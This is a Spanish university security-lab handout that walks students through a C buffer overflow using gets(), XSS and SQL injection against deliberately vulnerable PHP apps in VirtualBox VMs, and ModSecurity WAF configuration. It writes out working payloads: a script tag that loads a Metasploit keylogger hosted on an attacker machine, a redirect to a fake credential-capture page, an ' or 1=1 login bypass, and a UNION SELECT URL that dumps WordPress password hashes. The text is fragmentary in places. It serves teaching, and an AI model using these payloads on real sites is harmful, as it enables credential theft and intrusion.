5 bytes)?
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char* crear_pin_aleatorio() {
char* pin = (char *) malloc(5);;
srand(time(0)); // Inicializa generador de nos. aleatorios
sprintf(pin, "%04d", rand()%10000);
return pin;
}
int main(int argc, char *argv[]) {
char pin_secreto[5];
strcpy(pin_secreto, crear_pin_aleatorio());
char pin_leido[5];
printf("Introducir PIN: ");
gets(pin_leido); // No comprueba tamano de entrada
if (strcmp(pin_leido, pin_secreto) == 0){
printf("Acceso concedido, pin correcto\n");
}
else {
printf("Acceso denegado, pin incorrecto\n");
}
printf("PISTA:\n pin secreto: %s\n pin leido: %s\n", pin_secreto,pin_leido);
}
El código es vulnerable a un desbordamiento del buffer sobre la variable pin_leido derivado del uso de la función gets()
pin_leido que deja abierto el uso de get(), es necesario
identificar varias cuestiones relativas al modo en que gestiona la pila de ejecución (Stack) el compilador GCC, que dependen de la arquitectura de la CPU, la versión concreta de GCC y las opciones por defecto que se usan en las distintas distribuciones GNU/Linux.
Aspectos a identificar
Las versiones recientes de GCC incluyen por defecto el uso de la opción -fstack-protector que usa random canaries para proteger los campos de control del Stack frame y en algunos caso también protege los arrays con tamaño superior a 4 bytes o 8 bytes.
Basta con compilar el código sin especificar parámetros adicionales.
$ gcc -o desbordador desbordador.c $ ./desbordador
Nota: para verificar si la protección de pila está habilita basta introducir
*** stack smashing detected ***
La protección de pila sobre el buffer pin_leido impide realizar el ejemplo propuesto, por lo que es necesario compilar el código deshabilitando la protección de la pila con la opción -fno-stack-protector
$ gcc -fno-stack-protector -o desbordador desbordador.c $ ./desbordador
Dependiendo de la arquitectura de la CPU (32 o 64 bits) y de las opciones por defecto del compilador GCC las variables locales almacenadas en la pila de ejecución pueden alinearse de diferentes formas
El espacio asignado a la variable pin_secreto empieza justo 5 posiciones más adelante de
la dirección apuntada por pin_leido.
El espacio asignado a la variable pin_secreto empieza justo 8 posiciones más adelante de
la dirección apuntada por pin_leido.
El espacio asignado a la variable pin_secreto empieza justo 16 posiciones más adelante de
la dirección apuntada por pin_leido.
5 bytes)?
TAREA ENTREGALE (A)
Documentación a entregar: Documentar brevemente las tareas 2, 3 y 4 del ejemplo de desbordamiento de buffer.
En estas prácticas se empleará el software de virtualización VIRTUALBOX para simular los equipos GNU/Linux sobre los que se realizarán las pruebas.
alumno@pc: $ sh ejercicio-modsecurity.sh
Powershell.exe -executionpolicy bypass -file ejercicio-modsecurity.ps1
Notas:
$DIR_BASE especifica donde se descargarán las imágenes y se crearán las MVs.
Por defecto en GNU/Linux será en $HOME/SSI1819 y en Windows en C:/SSI1819.
Puede modificarse antes de lanzar los scripts para hacer la instalación en otro directorio más conveniente (disco externo, etc)
.vdi.zip de http://ccia.esei.uvigo.es/docencia/SSI/1819/practicas/ y copiarlos en el directorio anterior ($DIR_BASE) para que el script haga el resto.
VBoxManage startvm <nombre MV>_<id>
Contiene un sistema Debian 9 con herramientas gráficas y un entorno gráfico ligero LXDE (Lighweight X11 Desktop Environment) [LXDE].
| login | password |
|---|---|
| root | purple |
| usuario | usuario |
root@datos:~# startx
Dispositivos -> Portapapeles compartido -> bidireccional de la ventana de la máquina virtual.
En este ejercicio veremos ejemplos simples de vulnerabilidades web.
NOTA: NO FUNCIONA SOBRE php7
PREVIO (IMPORTANTE) Asegurar que están iniciados los servidores Apache y MySQL.
modsecurity:~# systemctl restart apache2.service modsecurity:~# systemctl restart mysql.service
modsecurity:~# service apache2 restart modsecurity:~# service mysql restart
En la máquina modsecurity hay una implementación de un foro de juguete en PHP.
Desde la máquina atacante:
<script> alert("esto admite XSS") </script>
Desde la máquina victima:
En un escenario real, un atacante (el papel de ana) inyectaría código Javascript más dañino, normalmente con la finalidad de hacerse con información relevante del usuario atacado (el papel de pepe).
Ejemplo: despliegue del keylogger Javascript de Metasploit
Información del módulo en http_javascript_keylogger
atacante:~# service metasploit start
atacante:~# msfconsole
msf> use auxiliary/server/capture/http_javascript_keylogger
http_javascript_keylogger> info
http_javascript_keylogger> set DEMO true
http_javascript_keylogger> set SRVPORT 8888
http_javascript_keylogger> set URIPATH js
http_javascript_keylogger> run
El keylogger Javascript quedará disponible en cualquier URL de la forma http://atacante.ssi.net:8888/js/[...].js,
de modo que cuando se cargue esa librería Javascript se inicie la captura de pulsaciones de teclado.
Título: Un mensaje inocente
Contenido:
blablabla <script type="text/javascript" src="http://atacante.ssi.net:8888/js/jquery.js"></script> blablabla
Al solicitar la carga de la librería JavaScript se accederá a la URL donde ”escucha” el keyloger de Metasploit y lo que se teclee en esa página será capturado.
OPCIONAL: Simular la redirección a una página de lectura de credenciales
El módulo Metasploit genera un página de login simulada (habilitado con la opción DEMO=true) en la URL http://atacante.ssi.net:8888/js/demo para probar la redirección y captura de credenciales (en un escenario real se haría un ataque de phising creando una página de login falsa imitando la apariencia de la web legítima)
Título: Otro mensaje inocente
Contenido:
blablabla <script> window.location.replace("http://atacante.ssi.net:8888/js/demo") </script> blablabla
Se redireccionará el navegador a una página de login falsa creada por Metasploit donde capturará las pulsaciones de teclado.
Desde la máquina atacante
Indicar lo siguiente en la casilla usuario:
usuario: ' or 1=1 ; # password: <vacío>
Confirmamos cómo se accede la aplicación accede como un usuario autorizado (el primero de la base de datos)
En la máquina modsecurity, comprobar cómo sería la consulta SQL que usará esos parámetros (ver el código en /var/www/html/foro/login.php)
modsecurity:~# leafpad /var/www/html/foro/login.php &
IMPORTANTE: La versión de Worpress de este ejemplo no funciona sobre PHP7 
No se realizará esta parte
Ejemplo de vulnerabilidad en una versión antigua del software para blogs WordPress.
Los ataques de Inyección SQL no tienen por que limitarse al acceso a través de campos de formulario. En este caso el código SQL inyectado se incluye en la barra de direcciones (en un parámetro de la URL que se envía en la petición HTTP GET)
usuario: admin
passwd: secreto
http://modsecurity.ssi.net/wordpress/index.php?cat=999%20UNION%20SELECT%20null,CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58)),null,null,null%20FROM%20wp_users
Nota: puede copiarse y pegarse esta URL desde el archivo /root/aplicaciones_vulnerables/wordpress/url-wordpress.txt de la máquina virtual modsecurity
admin:e201994dca9320fc94336603b1cfc970
Para comprobar que ese es efectivamente es el resumen md5 de la cadena secreto:
En la máquina virtual modsecurity se encuentra instaladas tres aplicaciones vulnerables (2 en PHP y 1 en Java) diseñadas para experimentar con ellas.
Implementa ejemplos de XSS e inyección SQL y otras vulnerabilidades en tres niveles de dificultad
El código está disponible en el directorio ejercicio-modsecurity de modsecurity.ssi.net.
vulnerabilities hay una carpeta para cada ejercicio/vulnerabilidad
source, ficheros low.php, medium.php, hig.php e impossible.php)
Similar a DVWA, pero con los ejemplos más documentos y estructurados de acuerdo al OWASP Top 10.
El código está disponible en el directorio /var/www/html/mutillidae de modsecurity.ssi.net.
Web: http://sourceforge.net/projects/mutillidae/
modsecurity (solicita un registro previo en la aplicación, proporcionando login y password)
Aplicación web Java vulnerable desarrollada como parte del proyecto OWASP.
Instalación y arranque: desde el directorio /root/aplicaciones-vulnerables/
modsecurity:/root/aplicaciones-vulnerables# java -jar webgoat-server-8.0.0.M21.jar
Nota: WebGoat sólo está accesible en local, por lo que debe accederse desde el navegador de la máquina modsecurity
Web: https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
TAREA ENTREGABLE (B)
NOTA: Si es necesario para replicar los ejercicios anteriores, se puede reconstruir la base de datos inicial del foro.
modsecurity:~# cd /var/www/html/foro modsecurity:/var/www/html/foro# mysql -u root -p (con la contrseña purple) mysql > drop database foro mysql > create database foro mysql > use foro mysql > source foro.sql
Resumen mod-security: pdf
Web: http://www.modsecurity.org/
Reglas mod-security:
modsecurity:~# apt-get install libapache2-mod-security2 # modulo security2 de Apache modsecurity:~# apt-get install modsecurity-crs # colección de reglas Core Rule Set
Descarga desde OWASP ModSecurity Core Rule Set Project
y http://github.com/SpiderLabs/owasp-modsecurity-crs
(ya descargado al instalar paquete modsecurity-crs)
modsecurity:~# cat /etc/apache2/mods-available/security2.conf <IfModule security2\_module> \# Default Debian dir for modsecurity's persistent data SecDataDir /var/cache/modsecurity \# Include all the *.conf files in /etc/modsecurity. \# Keeping your local configuration in that directory \# will allow for an easy upgrade of THIS file and \# make your life easier IncludeOptional /etc/modsecurity/*.conf \# Include OWASP ModSecurity CRS rules if installed IncludeOptional /usr/share/modsecurity-crs/owasp-crs.load </IfModule> modsecurity:~# cat /usr/share/modsecurity-crs/owasp-crs.load ## ## This file loads OWASP CRS's rules when the package is installed ## It is Included by libapache2-mod-security2 ## Include /etc/modsecurity/crs/crs-setup.conf IncludeOptional /etc/modsecurity/crs/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf Include /usr/share/modsecurity-crs/rules/*.conf IncludeOptional /etc/modsecurity/crs/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf
/etc/modsecurity/crs/crs-setup.conf
/usr/share/modsecurity-crs/rules/*.conf
modsecurity:~# cd /etc/modsecurity/
modsecurity:/etc/modsecurity/# mv modsecurity.conf-recommended modsecurity.conf
/* Configuracion general de modsecurity*/
| IMPORTANTE | |
|---|---|
|
modsecurity:~# a2enmod security2 modsecurity:~# systemctl restart apache2.service ó modsecurity:~# service apache2 restart
mod-security funciona en modo DetectionOnly (ver /etc/modsecurity/modsecurity.conf)
/var/log/apache2/error.log) indicando la regla que ha generado la alerta
/var/log/apache2/modsec_audit.log la petición HTTP que ha provocado la alerta
modsecurity:~# tail -f /var/log/apache2/error.log [ liberar terminal con <ctrl>+C ] modsecurity:~# less /var/log/apache2/modsec_audit.log
(Si es necesario, eliminar y regenerar la base de datos de la aplicación foro.)
Editar /etc/modsecurity/modsecurity.conf para establecer el parámetro SecRuleEngine a On (por defecto estaba como DetectionOnly) y reiniciar Apache.
modsecurity:~# nano /etc/modsecurity/modsecurity.conf ... SecRuleEngine On ... modsecurity:~# systemctl restart apache2.service ó modsecurity:~# service apache2 restart
Nota: En todas las pruebas el acceso a las URL debe hacerse con el nombre de la máquina modsecurity, no con su dirección IP. (http://modsecurity.ssi.net/foro, etc)
Entregable: